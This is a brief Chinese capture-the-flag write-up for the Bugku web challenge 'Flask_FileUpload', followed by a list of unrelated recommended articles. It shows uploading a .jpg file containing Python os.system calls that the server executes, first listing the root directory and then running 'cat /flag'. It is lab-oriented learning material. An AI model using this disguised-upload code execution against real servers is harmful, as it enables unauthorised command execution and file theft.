Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
Emily156853598701 小时前
Emerson 1C31129G03 Analog Input ModuleTo_OC6 小时前
面试被问了三回三栏布局，这次我终于把 BFC 那层窗户纸捅破了To_OC6 小时前
啃完 TS 工具类型我发现：Pick 和 Omit 原来就是一层窗户纸Chengbei116 小时前
DSH渗透测试插件dsh-pentest全新升级！适配DeepSeek Harness，可视化探索链路，一键搭建轻量化AI渗透测试环境。聪明蛋子哟7 小时前
Stagehand v3多语言SDK：Python/Go/Rust/Java下的浏览器自动化统一方案今天AI了吗7 小时前
Python 基础语法（一）：常量、变量、输入输出与运算符风月说与山鬼7 小时前
三、大括号语法卷无止境7 小时前
Windows 上丝滑开发 Python，并稳定构建 Docker 镜像kyriewen8 小时前
我把最常踩的8个CORS跨域报错整理了一遍——第8个去年还不存在